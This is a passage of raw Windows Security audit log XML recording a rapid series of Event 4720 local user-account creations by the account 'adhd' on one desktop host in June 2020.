Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Larry</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Larry - adhd - - - 4720 - 4375 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.3663063Z'/><EventRecordID>4375</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Julie</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1055</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Julie</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Julie - adhd - - - 4720 - 4369 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.2775321Z'/><EventRecordID>4369</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Bruce</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1054</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Bruce</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Bruce - adhd - - - 4720 - 4363 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.1706284Z'/><EventRecordID>4363</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Louis</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1053</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Louis</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Louis - adhd - - - 4720 - 4357 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.0370536Z'/><EventRecordID>4357</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Maria</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1052</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Maria</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Maria - adhd - - - 4720 - 4351 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.9567623Z'/><EventRecordID>4351</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Margaret</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1051</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Margaret</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Margaret - adhd - - - 4720 - 4345 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.8795147Z'/><EventRecordID>4345</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Emma</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1050</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Emma</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Emma - adhd - - - 4720 - 4339 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.7889620Z'/><EventRecordID>4339</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Gabriel</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1049</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Gabriel</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Gabriel - adhd - - - 4720 - 4333 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.6893643Z'/><EventRecordID>4333</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Raymond</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1048</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Raymond</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Raymond - adhd - - - 4720 - 4327 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.5606743Z'/><EventRecordID>4327</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Joshua</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1047</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Joshua</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Joshua - adhd - - - 4720 - 4321 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.4682511Z'/><EventRecordID>4321</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kyle</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1046</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kyle</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kyle - adhd - - - 4720 - 4315 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.3685222Z'/><EventRecordID>4315</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Brandon</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1045</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Brandon</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Brandon - adhd - - - 4720 - 4309 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.2608826Z'/><EventRecordID>4309</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Evelyn</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1044</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Evelyn</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Evelyn - adhd - - - 4720 - 4303 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.1633800Z'/><EventRecordID>4303</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Austin</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1043</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Austin</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Austin - adhd - - - 4720 - 4297 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.0436280Z'/><EventRecordID>4297</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Roger</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1042</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Roger</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Roger - adhd - - - 4720 - 4291 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:54.9708653Z'/><EventRecordID>4291</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Bobby</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1041</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Bobby</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Bobby - adhd - - - 4720 - 4285 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider 